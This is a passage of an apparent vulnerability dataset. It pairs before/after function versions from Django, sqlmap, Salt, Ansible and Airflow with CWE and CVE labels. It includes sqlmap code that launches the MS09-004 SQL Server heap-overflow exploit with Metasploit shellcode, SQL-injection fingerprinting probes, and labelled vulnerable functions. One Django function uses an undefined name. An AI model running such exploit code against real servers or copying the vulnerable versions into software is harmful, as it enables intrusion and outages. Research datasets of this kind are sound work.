        self.selenium.get('%s%s' % (self.live_server_url,
            '/test_admin/admin/admin_views/mainprepopulated/add/'))

        # Main form ----------------------------------------------------------
        self.selenium.find_element_by_css_selector('#id_pubdate').send_keys('2012-02-18')
        self.get_select_option('#id_status', 'option two').click()
        self.selenium.find_element_by_css_selector('#id_name').send_keys(' this is the mAin nÀMë and it\'s awεšome')
        slug1 = self.selenium.find_element_by_css_selector('#id_slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_css_selector('#id_slug2').get_attribute('value')
        self.assertEqual(slug1, 'main-name-and-its-awesome-2012-02-18')
        self.assertEqual(slug2, 'option-two-main-name-and-its-awesome')

        # Stacked inlines ----------------------------------------------------
        # Initial inline
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-0-pubdate').send_keys('2011-12-17')
        self.get_select_option('#id_relatedprepopulated_set-0-status', 'option one').click()
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-0-name').send_keys(' here is a sŤāÇkeð   inline !  ')
        slug1 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-0-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-0-slug2').get_attribute('value')
        self.assertEqual(slug1, 'here-stacked-inline-2011-12-17')
        self.assertEqual(slug2, 'option-one-here-stacked-inline')

        # Add an inline
        self.selenium.find_elements_by_link_text('Add another Related prepopulated')[0].click()
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-1-pubdate').send_keys('1999-01-25')
        self.get_select_option('#id_relatedprepopulated_set-1-status', 'option two').click()
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-1-name').send_keys(' now you haVe anöther   sŤāÇkeð  inline with a very ... loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooog text... ')
        slug1 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-1-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-1-slug2').get_attribute('value')
        self.assertEqual(slug1, 'now-you-have-another-stacked-inline-very-loooooooo')  # 50 characters maximum for slug1 field
        self.assertEqual(slug2, 'option-two-now-you-have-another-stacked-inline-very-looooooo')  # 60 characters maximum for slug2 field

        # Tabular inlines ----------------------------------------------------
        # Initial inline
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-0-pubdate').send_keys('1234-12-07')
        self.get_select_option('#id_relatedprepopulated_set-2-0-status', 'option two').click()
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-0-name').send_keys('And now, with a tÃbűlaŘ inline !!!')
        slug1 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-0-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-0-slug2').get_attribute('value')
        self.assertEqual(slug1, 'and-now-tabular-inline-1234-12-07')
        self.assertEqual(slug2, 'option-two-and-now-tabular-inline')

        # Add an inline
        self.selenium.find_elements_by_link_text('Add another Related prepopulated')[1].click()
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-1-pubdate').send_keys('1981-08-22')
        self.get_select_option('#id_relatedprepopulated_set-2-1-status', 'option one').click()
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-1-name').send_keys('a tÃbűlaŘ inline with ignored ;""&*^\%$#@-/`~ characters')
        slug1 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-1-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-1-slug2').get_attribute('value')
        self.assertEqual(slug1, 'tabular-inline-ignored-characters-1981-08-22')
        self.assertEqual(slug2, 'option-one-tabular-inline-ignored-characters')

        # Save and check that everything is properly stored in the database
        self.selenium.find_element_by_xpath('//input[@value=""Save""]').click()
        self.wait_page_loaded()
        self.assertEqual(MainPrepopulated.objects.all().count(), 1)
        MainPrepopulated.objects.get(
            name=' this is the mAin nÀMë and it\'s awεšome',
            pubdate='2012-02-18',
            status='option two',
            slug1='main-name-and-its-awesome-2012-02-18',
            slug2='option-two-main-name-and-its-awesome',
        )
        self.assertEqual(RelatedPrepopulated.objects.all().count(), 4)
        RelatedPrepopulated.objects.get(
            name=' here is a sŤāÇkeð   inline !  ',
            pubdate='2011-12-17',
            status='option one',
            slug1='here-stacked-inline-2011-12-17',
            slug2='option-one-here-stacked-inline',
        )
        RelatedPrepopulated.objects.get(
            name=' now you haVe anöther   sŤāÇkeð  inline with a very ... loooooooooooooooooo',  # 75 characters in name field
            pubdate='1999-01-25',
            status='option two',
            slug1='now-you-have-another-stacked-inline-very-loooooooo',
            slug2='option-two-now-you-have-another-stacked-inline-very-looooooo',
        )
        RelatedPrepopulated.objects.get(
            name='And now, with a tÃbűlaŘ inline !!!',
            pubdate='1234-12-07',
            status='option two',
            slug1='and-now-tabular-inline-1234-12-07',
            slug2='option-two-and-now-tabular-inline',
        )
        RelatedPrepopulated.objects.get(
            name='a tÃbűlaŘ inline with ignored ;""&*^\%$#@-/`~ characters',
            pubdate='1981-08-22',
            status='option one',
            slug1='tabular-inline-ignored-characters-1981-08-22',
            slug2='option-one-tabular-inline-ignored-characters',
        )",CWE-259,django/django,36ded01527b690b5df0574492af9cfcc2ea3d1dc,"def test_prepopulated_fields(self):
        """"""
        Ensure that the JavaScript-automated prepopulated fields work with the
        main form and with stacked and tabular inlines.
        Refs #13068, #9264, #9983, #9784.
        """"""
        from selenium.common.exceptions import TimeoutException
        self.admin_login(username='super', password='secret', login_url='/test_admin/admin/')
        self.selenium.get('%s%s' % (self.live_server_url,
            '/test_admin/admin/admin_views/mainprepopulated/add/'))

        # Main form ----------------------------------------------------------
        self.selenium.find_element_by_css_selector('#id_pubdate').send_keys('2012-02-18')
        self.get_select_option('#id_status', 'option two').click()
        self.selenium.find_element_by_css_selector('#id_name').send_keys(' this is the mAin nÀMë and it\'s awεšome')
        slug1 = self.selenium.find_element_by_css_selector('#id_slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_css_selector('#id_slug2').get_attribute('value')
        self.assertEqual(slug1, 'main-name-and-its-awesome-2012-02-18')
        self.assertEqual(slug2, 'option-two-main-name-and-its-awesome')

        # Stacked inlines ----------------------------------------------------
        # Initial inline
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-0-pubdate').send_keys('2011-12-17')
        self.get_select_option('#id_relatedprepopulated_set-0-status', 'option one').click()
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-0-name').send_keys(' here is a sŤāÇkeð   inline !  ')
        slug1 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-0-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-0-slug2').get_attribute('value')
        self.assertEqual(slug1, 'here-stacked-inline-2011-12-17')
        self.assertEqual(slug2, 'option-one-here-stacked-inline')

        # Add an inline
        self.selenium.find_elements_by_link_text('Add another Related prepopulated')[0].click()
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-1-pubdate').send_keys('1999-01-25')
        self.get_select_option('#id_relatedprepopulated_set-1-status', 'option two').click()
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-1-name').send_keys(' now you haVe anöther   sŤāÇkeð  inline with a very ... loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooog text... ')
        slug1 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-1-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-1-slug2').get_attribute('value')
        self.assertEqual(slug1, 'now-you-have-another-stacked-inline-very-loooooooo')  # 50 characters maximum for slug1 field
        self.assertEqual(slug2, 'option-two-now-you-have-another-stacked-inline-very-looooooo')  # 60 characters maximum for slug2 field

        # Tabular inlines ----------------------------------------------------
        # Initial inline
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-0-pubdate').send_keys('1234-12-07')
        self.get_select_option('#id_relatedprepopulated_set-2-0-status', 'option two').click()
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-0-name').send_keys('And now, with a tÃbűlaŘ inline !!!')
        slug1 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-0-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-0-slug2').get_attribute('value')
        self.assertEqual(slug1, 'and-now-tabular-inline-1234-12-07')
        self.assertEqual(slug2, 'option-two-and-now-tabular-inline')

        # Add an inline
        self.selenium.find_elements_by_link_text('Add another Related prepopulated')[1].click()
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-1-pubdate').send_keys('1981-08-22')
        self.get_select_option('#id_relatedprepopulated_set-2-1-status', 'option one').click()
        self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-1-name').send_keys('a tÃbűlaŘ inline with ignored ;""&*^\%$#@-/`~ characters')
        slug1 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-1-slug1').get_attribute('value')
        slug2 = self.selenium.find_element_by_css_selector('#id_relatedprepopulated_set-2-1-slug2').get_attribute('value')
        self.assertEqual(slug1, 'tabular-inline-ignored-characters-1981-08-22')
        self.assertEqual(slug2, 'option-one-tabular-inline-ignored-characters')

        # Save and check that everything is properly stored in the database
        self.selenium.find_element_by_xpath('//input[@value=""Save""]').click()
        self.wait_page_loaded()
        self.assertEqual(MainPrepopulated.objects.all().count(), 1)
        MainPrepopulated.objects.get(
            name=' this is the mAin nÀMë and it\'s awεšome',
            pubdate='2012-02-18',
            status='option two',
            slug1='main-name-and-its-awesome-2012-02-18',
            slug2='option-two-main-name-and-its-awesome',
        )
        self.assertEqual(RelatedPrepopulated.objects.all().count(), 4)
        RelatedPrepopulated.objects.get(
            name=' here is a sŤāÇkeð   inline !  ',
            pubdate='2011-12-17',
            status='option one',
            slug1='here-stacked-inline-2011-12-17',
            slug2='option-one-here-stacked-inline',
        )
        RelatedPrepopulated.objects.get(
            name=' now you haVe anöther   sŤāÇkeð  inline with a very ... loooooooooooooooooo',  # 75 characters in name field
            pubdate='1999-01-25',
            status='option two',
            slug1='now-you-have-another-stacked-inline-very-loooooooo',
            slug2='option-two-now-you-have-another-stacked-inline-very-looooooo',
        )
        RelatedPrepopulated.objects.get(
            name='And now, with a tÃbűlaŘ inline !!!',
            pubdate='1234-12-07',
            status='option two',
            slug1='and-now-tabular-inline-1234-12-07',
            slug2='option-two-and-now-tabular-inline',
        )
        RelatedPrepopulated.objects.get(
            name='a tÃbűlaŘ inline with ignored ;""&*^\%$#@-/`~ characters',
            pubdate='1981-08-22',
            status='option one',
            slug1='tabular-inline-ignored-characters-1981-08-22',
            slug2='option-one-tabular-inline-ignored-characters',
        )"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/generic/takeover.py,0,"def osBof(self):
        if not isStackingAvailable() and not conf.direct:
            return

        if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin((""2000"", ""2005"")):
            errMsg = ""the back-end DBMS must be Microsoft SQL Server ""
            errMsg += ""2000 or 2005 to be able to exploit the heap-based ""
            errMsg += ""buffer overflow in the 'sp_replwritetovarbin' ""
            errMsg += ""stored procedure (MS09-004)""
            raise SqlmapUnsupportedDBMSException(errMsg)

        infoMsg = ""going to exploit the Microsoft SQL Server %s "" % Backend.getVersion()
        infoMsg += ""'sp_replwritetovarbin' stored procedure heap-based ""
        infoMsg += ""buffer overflow (MS09-004)""
        logger.info(infoMsg)

        msg = ""this technique is likely to DoS the DBMS process, are you ""
        msg += ""sure that you want to carry with the exploit? [y/N] ""
        choice = readInput(msg, default=""N"")

        dos = choice and choice[0].lower() == ""y""

        if dos:
            self.initEnv(mandatory=False, detailed=True)
            self.getRemoteTempPath()
            self.createMsfShellcode(exitfunc=""seh"", format=""raw"", extra=""-b 27"", encode=True)
            self.bof()",,andresriancho/w3af,b3a3491f866a353fd2de125a8fcb2b8d6628d908,"def osBof(self):
        if not isStackingAvailable() and not conf.direct:
            return

        if not Backend.isDbms(DBMS.MSSQL) or not Backend.isVersionWithin((""2000"", ""2005"")):
            errMsg = ""the back-end DBMS must be Microsoft SQL Server ""
            errMsg += ""2000 or 2005 to be able to exploit the heap-based ""
            errMsg += ""buffer overflow in the 'sp_replwritetovarbin' ""
            errMsg += ""stored procedure (MS09-004)""
            raise SqlmapUnsupportedDBMSException(errMsg)

        infoMsg = ""going to exploit the Microsoft SQL Server %s "" % Backend.getVersion()
        infoMsg += ""'sp_replwritetovarbin' stored procedure heap-based ""
        infoMsg += ""buffer overflow (MS09-004)""
        logger.info(infoMsg)

        msg = ""this technique is likely to DoS the DBMS process, are you ""
        msg += ""sure that you want to carry with the exploit? [y/N] ""
        inp = readInput(msg, default=""N"")

        if inp and inp[0].lower() == ""y"":
            dos = True
        else:
            dos = False

        if dos:
            self.initEnv(mandatory=False, detailed=True)
            self.getRemoteTempPath()
            self.createMsfShellcode(exitfunc=""seh"", format=""raw"", extra=""-b 27"", encode=True)
            self.bof()"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,plugins/dbms/cubrid/fingerprint.py,0,"def checkDbms(self):
        if not conf.extensiveFp and Backend.isDbmsWithin(CUBRID_ALIASES):
            setDbms(DBMS.CUBRID)

            self.getBanner()

            return True

        infoMsg = ""testing %s"" % DBMS.CUBRID
        logger.info(infoMsg)

        result = inject.checkBooleanExpression(""{} SUBSETEQ (CAST ({} AS SET))"")

        if result:
            infoMsg = ""confirming %s"" % DBMS.CUBRID
            logger.info(infoMsg)

            result = inject.checkBooleanExpression(""DRAND()<2"")

            if not result:
                warnMsg = ""the back-end DBMS is not %s"" % DBMS.CUBRID
                logger.warning(warnMsg)

                return False

            setDbms(DBMS.CUBRID)

            self.getBanner()

            return True
        else:
            warnMsg = ""the back-end DBMS is not %s"" % DBMS.CUBRID
            logger.warning(warnMsg)

            return False",,sqlmapproject/sqlmap,df4293473d2fb6e887e31522cab5aff95e201581,"def checkDbms(self):
        if not conf.extensiveFp and Backend.isDbmsWithin(CUBRID_ALIASES):
            setDbms(DBMS.CUBRID)

            self.getBanner()

            return True

        infoMsg = ""testing %s"" % DBMS.CUBRID
        logger.info(infoMsg)

        result = inject.checkBooleanExpression(""{} SUBSETEQ (CAST ({} AS SET))"")

        if result:
            infoMsg = ""confirming %s"" % DBMS.CUBRID
            logger.info(infoMsg)

            result = inject.checkBooleanExpression(""DRAND()<2"")

            if not result:
                warnMsg = ""the back-end DBMS is not %s"" % DBMS.CUBRID
                logger.warn(warnMsg)

                return False

            setDbms(DBMS.CUBRID)

            self.getBanner()

            return True
        else:
            warnMsg = ""the back-end DBMS is not %s"" % DBMS.CUBRID
            logger.warn(warnMsg)

            return False"
,UNKNOWN,UNKNOWN,tests/unit/modules/test_libcloud_storage.py,1,"def get_container_object(self, container_name, object_name):
            assert container_name == 'test_container'
            assert object_name == 'test_obj'
            return self._TEST_OBJECT",CWE-703,saltstack/salt,3905ca788c499106b9cc625134084a73dc67ef6e,"def get_container_object(self, container_name, object_name):
            assert container_name == 'test_container'
            assert object_name == 'test_obj'
            return self._TEST_OBJECT"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/parsing/vault/__init__.py,0,"def rekey_file(self, filename, new_password):

        check_prereqs()

        prev = os.stat(filename)
        ciphertext = self.read_data(filename)
        try:
            plaintext = self.vault.decrypt(ciphertext)
        except AnsibleError as e:
            raise AnsibleError(""%s for %s"" % (to_bytes(e),to_bytes(filename)))

        # This is more or less an assert, see #18247
        if new_password is None:
            raise AnsibleError('The value for the new_password to rekey %s with is not valid' % filename)

        new_vault = VaultLib(new_password)
        new_ciphertext = new_vault.encrypt(plaintext)

        self.write_data(new_ciphertext, filename)

        # preserve permissions
        os.chmod(filename, prev.st_mode)
        os.chown(filename, prev.st_uid, prev.st_gid)",,ansible/ansible,32971e86396012af3eb88bbaa7f7b1c2cc27dee5,"def rekey_file(self, filename, new_password):

        check_prereqs()

        prev = os.stat(filename)
        ciphertext = self.read_data(filename)
        try:
            plaintext = self.vault.decrypt(ciphertext)
        except AnsibleError as e:
            raise AnsibleError(""%s for %s"" % (to_bytes(e),to_bytes(filename)))

        new_vault = VaultLib(new_password)
        new_ciphertext = new_vault.encrypt(plaintext)

        self.write_data(new_ciphertext, filename)

        # preserve permissions
        os.chmod(filename, prev.st_mode)
        os.chown(filename, prev.st_uid, prev.st_gid)"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/kubernetes/pod_generator.py,0,"def from_legacy_obj(obj) -> Optional[k8s.V1Pod]:
        """"""Converts to pod from obj""""""
        if obj is None:
            return None

        # We do not want to extract constant here from ExecutorLoader because it is just
        # A name in dictionary rather than executor selection mechanism and it causes cyclic import
        namespaced = obj.get(""KubernetesExecutor"", {})

        if not namespaced:
            return None

        resources = namespaced.get('resources')

        if resources is None:
            requests = {
                'cpu': namespaced.pop('request_cpu', None),
                'memory': namespaced.pop('request_memory', None),
                'ephemeral-storage': namespaced.get('ephemeral-storage')    # We pop this one in limits
            }
            limits = {
                'cpu': namespaced.pop('limit_cpu', None),
                'memory': namespaced.pop('limit_memory', None),
                'ephemeral-storage': namespaced.pop('ephemeral-storage', None)
            }
            all_resources = list(requests.values()) + list(limits.values())
            if all(r is None for r in all_resources):
                resources = None
            else:
                # remove None's so they don't become 0's
                requests = {k: v for k, v in requests.items() if v is not None}
                limits = {k: v for k, v in limits.items() if v is not None}
                resources = k8s.V1ResourceRequirements(
                    requests=requests,
                    limits=limits
                )
        namespaced['resources'] = resources
        return PodGeneratorDeprecated(**namespaced).gen_pod()",CWE-Unknown,apache/airflow,c8145a697ff6fab3fa88e3b2cac3a299e82674dc,"def from_legacy_obj(obj) -> Optional[k8s.V1Pod]:
        """"""Converts to pod from obj""""""
        if obj is None:
            return None

        # We do not want to extract constant here from ExecutorLoader because it is just
        # A name in dictionary rather than executor selection mechanism and it causes cyclic import
        namespaced = obj.get(""KubernetesExecutor"", {})

        if not namespaced:
            return None

        resources = namespaced.get('resources')

        if resources is None:
            requests = {
                'cpu': namespaced.get('request_cpu'),
                'memory': namespaced.get('request_memory'),
                'ephemeral-storage': namespaced.get('ephemeral-storage')
            }
            limits = {
                'cpu': namespaced.get('limit_cpu'),
                'memory': namespaced.get('limit_memory'),
                'ephemeral-storage': namespaced.get('ephemeral-storage')
            }
            all_resources = list(requests.values()) + list(limits.values())
            if all(r is None for r in all_resources):
                resources = None
            else:
                resources = k8s.V1ResourceRequirements(
                    requests=requests,
                    limits=limits
                )
        namespaced['resources'] = resources
        return PodGeneratorDeprecated(**namespaced).gen_pod()"
,UNKNOWN,UNKNOWN,test/units/module_utils/urls/test_Request.py,1,"def test_Request_open_last_mod(urlopen_mock, install_opener_mock):
    now = datetime.datetime.now()
    r = Request().open('GET', 'https://ansible.com/', last_mod_time=now)

    args = urlopen_mock.call_args[0]
    req = args[0]

    assert req.headers.get('If-modified-since') == now.strftime('%a, %d %b %Y %H:%M:%S -0000')",CWE-703,ansible/ansible,0221d1ad2042333baa47f954433552b6dd6f605e,"def test_Request_open_last_mod(urlopen_mock, install_opener_mock):
    now = datetime.datetime.now()
    r = Request().open('GET', 'https://ansible.com/', last_mod_time=now)

    args = urlopen_mock.call_args[0]
    req = args[0]

    assert req.headers.get('If-modified-since') == now.strftime('%a, %d %b %Y %H:%M:%S +0000')"
,CVE-2019-6975,UNKNOWN,django/utils/numberformat.py,1,"def format(number, decimal_sep, decimal_pos=None, grouping=0, thousand_sep='',
           force_grouping=False):
    """"""
    Get a number (as a number or string), and return it as a string,
    using formats defined as arguments:

    * decimal_sep: Decimal separator symbol (for example ""."")
    * decimal_pos: Number of decimal positions
    * grouping: Number of digits in every group limited by thousand separator.
        For non-uniform digit grouping, it can be a sequence with the number
        of digit group sizes following the format used by the Python locale
        module in locale.localeconv() LC_NUMERIC grouping (e.g. (3, 2, 0)).
    * thousand_sep: Thousand separator symbol (for example "","")
    """"""
    use_grouping = settings.USE_L10N and settings.USE_THOUSAND_SEPARATOR
    use_grouping = use_grouping or force_grouping
    use_grouping = use_grouping and grouping != 0
    # Make the common case fast
    if isinstance(number, int) and not use_grouping and not decimal_pos:
        return mark_safe(str(number))
    # sign
    sign = ''
    if isinstance(number, Decimal):
        # Format values with more than 200 digits (an arbitrary cutoff) using
        # scientific notation to avoid high memory usage in {:f}'.format().
        _, digits, exponent = number.as_tuple()
        if abs(exponent) + len(digits) > 200:
            number = '{:e}'.format(number)
            coefficient, exponent = number.split('e')
            # Format the coefficient.
            coefficient = format(
                coefficient, decimal_sep, decimal_pos, grouping,
                thousand_sep, force_grouping, use_l10n,
            )
            return '{}e{}'.format(coefficient, exponent)
        else:
            str_number = '{:f}'.format(number)
    else:
        str_number = str(number)
    if str_number[0] == '-':
        sign = '-'
        str_number = str_number[1:]
    # decimal part
    if '.' in str_number:
        int_part, dec_part = str_number.split('.')
        if decimal_pos is not None:
            dec_part = dec_part[:decimal_pos]
    else:
        int_part, dec_part = str_number, ''
    if decimal_pos is not None:
        dec_part = dec_part + ('0' * (decimal_pos - len(dec_part)))
    if dec_part:
        dec_part = decimal_sep + dec_part
    # grouping
    if use_grouping:
        try:
            # if grouping is a sequence
            intervals = list(grouping)
        except TypeError:
            # grouping is a single value
            intervals = [grouping, 0]
        active_interval = intervals.pop(0)
        int_part_gd = ''
        cnt = 0
        for digit in int_part[::-1]:
            if cnt and cnt == active_interval:
                if intervals:
                    active_interval = intervals.pop(0) or active_interval
                int_part_gd += thousand_sep[::-1]
                cnt = 0
            int_part_gd += digit
            cnt += 1
        int_part = int_part_gd[::-1]
    return sign + int_part + dec_part",CWE-79,django/django,1f42f82566c9d2d73aff1c42790d6b1b243f7676,"def format(number, decimal_sep, decimal_pos=None, grouping=0, thousand_sep='',
           force_grouping=False):
    """"""
    Get a number (as a number or string), and return it as a string,
    using formats defined as arguments:

    * decimal_sep: Decimal separator symbol (for example ""."")
    * decimal_pos: Number of decimal positions
    * grouping: Number of digits in every group limited by thousand separator.
        For non-uniform digit grouping, it can be a sequence with the number
        of digit group sizes following the format used by the Python locale
        module in locale.localeconv() LC_NUMERIC grouping (e.g. (3, 2, 0)).
    * thousand_sep: Thousand separator symbol (for example "","")
    """"""
    use_grouping = settings.USE_L10N and settings.USE_THOUSAND_SEPARATOR
    use_grouping = use_grouping or force_grouping
    use_grouping = use_grouping and grouping != 0
    # Make the common case fast
    if isinstance(number, int) and not use_grouping and not decimal_pos:
        return mark_safe(str(number))
    # sign
    sign = ''
    if isinstance(number, Decimal):
        str_number = '{:f}'.format(number)
    else:
        str_number = str(number)
    if str_number[0] == '-':
        sign = '-'
        str_number = str_number[1:]
    # decimal part
    if '.' in str_number:
        int_part, dec_part = str_number.split('.')
        if decimal_pos is not None:
            dec_part = dec_part[:decimal_pos]
    else:
        int_part, dec_part = str_number, ''
    if decimal_pos is not None:
        dec_part = dec_part + ('0' * (decimal_pos - len(dec_part)))
    if dec_part:
        dec_part = decimal_sep + dec_part
    # grouping
    if use_grouping:
        try:
            # if grouping is a sequence
            intervals = list(grouping)
        except TypeError:
            # grouping is a single value
            intervals = [grouping, 0]
        active_interval = intervals.pop(0)
        int_part_gd = ''
        cnt = 0
        for digit in int_part[::-1]:
            if cnt and cnt == active_interval:
                if intervals:
                    active_interval = intervals.pop(0) or active_interval
                int_part_gd += thousand_sep[::-1]
                cnt = 0
            int_part_gd += digit
            cnt += 1
        int_part = int_part_gd[::-1]
    return sign + int_part + dec_part"
,UNKNOWN,UNKNOWN,salt/states/archive.py,1,"def extracted(name,
              source,
              source_hash=None,
              source_hash_name=None,
              source_hash_update=False,
              skip_verify=False,
              password=None,
              options=None,
              list_options=None,
              force=False,
              overwrite=False,
              clean=False,
              user=None,
              group=None,
              if_missing=None,
              trim_output=False,
              use_cmd_unzip=None,
              extract_perms=True,
              enforce_toplevel=True,
              enforce_ownership_on=None,
              archive_format=None,
              **kwargs):
    '''
    .. versionadded:: 2014.1.0
    .. versionchanged:: 2016.11.0
        This state has been rewritten. Some arguments are new to this release
        and will not be available in the 2016.3 release cycle (and earlier).
        Additionally, the **ZIP Archive Handling** section below applies
        specifically to the 2016.11.0 release (and newer).

    Ensure that an archive is extracted to a specific directory.

    .. important::
        **Changes for 2016.11.0**

        In earlier releases, this state would rely on the ``if_missing``
        argument to determine whether or not the archive needed to be
        extracted. When this argument was not passed, then the state would just
        assume ``if_missing`` is the same as the ``name`` argument (i.e. the
        parent directory into which the archive would be extracted).

        This caused a number of annoyances. One such annoyance was the need to
        know beforehand a path that would result from the extraction of the
        archive, and setting ``if_missing`` to that directory, like so:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www
                - if_missing: /var/www/myapp-16.2.4

        If ``/var/www`` already existed, this would effectively make
        ``if_missing`` a required argument, just to get Salt to extract the
        archive.

        Some users worked around this by adding the top-level directory of the
        archive to the end of the ``name`` argument, and then used ``--strip``
        or ``--strip-components`` to remove that top-level dir when extracting:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www/myapp-16.2.4
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www

        With the rewrite for 2016.11.0, these workarounds are no longer
        necessary. ``if_missing`` is still a supported argument, but it is no
        longer required. The equivalent SLS in 2016.11.0 would be:

        .. code-block:: yaml

            extract_myapp:
              archive.extracted:
                - name: /var/www
                - source: salt://apps/src/myapp-16.2.4.tar.gz
                - user: www
                - group: www

        Salt now uses a function called :py:func:`archive.list
        <salt.modules.archive.list>` to get a list of files/directories in the
        archive. Using this information, the state can now check the minion to
        see if any paths are missing, and know whether or not the archive needs
        to be extracted. This makes the ``if_missing`` argument unnecessary in
        most use cases.

    .. important::
        **ZIP Archive Handling**

        *Note: this information applies to 2016.11.0 and later.*

        Salt has two different functions for extracting ZIP archives:

        1. :py:func:`archive.unzip <salt.modules.archive.unzip>`, which uses
           Python's zipfile_ module to extract ZIP files.
        2. :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`, which
           uses the ``unzip`` CLI command to extract ZIP files.

        Salt will prefer the use of :py:func:`archive.cmd_unzip
        <salt.modules.archive.cmd_unzip>` when CLI options are specified (via
        the ``options`` argument), and will otherwise prefer the
        :py:func:`archive.unzip <salt.modules.archive.unzip>` function. Use
        of :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>` can be
        forced however by setting the ``use_cmd_unzip`` argument to ``True``.
        By contrast, setting this argument to ``False`` will force usage of
        :py:func:`archive.unzip <salt.modules.archive.unzip>`. For example:

        .. code-block:: yaml

            /var/www:
              archive.extracted:
                - source: salt://foo/bar/myapp.zip
                - use_cmd_unzip: True

        When ``use_cmd_unzip`` is omitted, Salt will choose which extraction
        function to use based on the source archive and the arguments passed to
        the state. When in doubt, simply do not set this argument; it is
        provided as a means of overriding the logic Salt uses to decide which
        function to use.

        There are differences in the features available in both extraction
        functions. These are detailed below.

        - *Command-line options* (only supported by :py:func:`archive.cmd_unzip
          <salt.modules.archive.cmd_unzip>`) - When the ``options`` argument is
          used, :py:func:`archive.cmd_unzip <salt.modules.archive.cmd_unzip>`
          is the only function that can be used to extract the archive.
          Therefore, if ``use_cmd_unzip`` is specified and set to ``False``,
          and ``options`` is also set, the state will not proceed.

        - *Permissions* - Due to an `upstream bug in Python`_, permissions are
          not preserved when the zipfile_ module is used to extract an archive.
          As of the 2016.11.0 release, :py:func:`archive.unzip
          <salt.modules.archive.unzip>` (as well as this state) has an
          ``extract_perms`` argument which, when set to ``True`` (the default),
          will attempt to match the permissions of the extracted
          files/directories to those defined within the archive. To disable
          this functionality and have the state not attempt to preserve the
          permissions from the ZIP archive, set ``extract_perms`` to ``False``:

          .. code-block:: yaml

              /var/www:
                archive.extracted:
                  - source: salt://foo/bar/myapp.zip
                  - extract_perms: False

    .. _`upstream bug in Python`: https://bugs.python.org/issue15795

    name
        Directory into which the archive should be extracted

    source
        Archive to be extracted

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

    source_hash
        Hash of source file, or file with list of hash-to-file mappings

        .. note::
            This argument uses the same syntax as its counterpart in the
            :py:func:`file.managed <salt.states.file.managed>` state.

        .. versionchanged:: 2016.11.0
            If this argument specifies the hash itself, instead of a URI to a
            file containing hashes, the hash type can now be omitted and Salt
            will determine the hash type based on the length of the hash. For
            example, both of the below states are now valid, while before only
            the second one would be:

        .. code-block:: yaml

            foo_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/foo.tar.gz
                - source_hash: 3360db35e682f1c5f9c58aa307de16d41361618c

            bar_app:
              archive.extracted:
                - name: /var/www
                - source: https://mydomain.tld/bar.tar.gz
                - source_hash: sha1=5edb7d584b82ddcbf76e311601f5d4442974aaa5

    source_hash_name
        When ``source_hash`` refers to a hash file, Salt will try to find the
        correct hash by matching the filename part of the ``source`` URI. When
        managing a file with a ``source`` of ``salt://files/foo.tar.gz``, then
        the following line in a hash file would match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    foo.tar.gz

        This line would also match:

        .. code-block:: text

            acbd18db4cc2f85cedef654fccc4a4d8    ./dir1/foo.tar.gz

        However, sometimes a hash file will include multiple similar paths:

        .. code-block:: text

            37b51d194a7513e45b56f6524f2d51f2    ./dir1/foo.txt
            acbd18db4cc2f85cedef654fccc4a4d8    ./dir2/foo.txt
            73feffa4b7f6bb68e44cf984c85f6e88    ./dir3/foo.txt

        In cases like this, Salt may match the incorrect hash. This argument
        can be used to tell Salt which filename to match, to ensure that the
        correct hash is identified. For example:

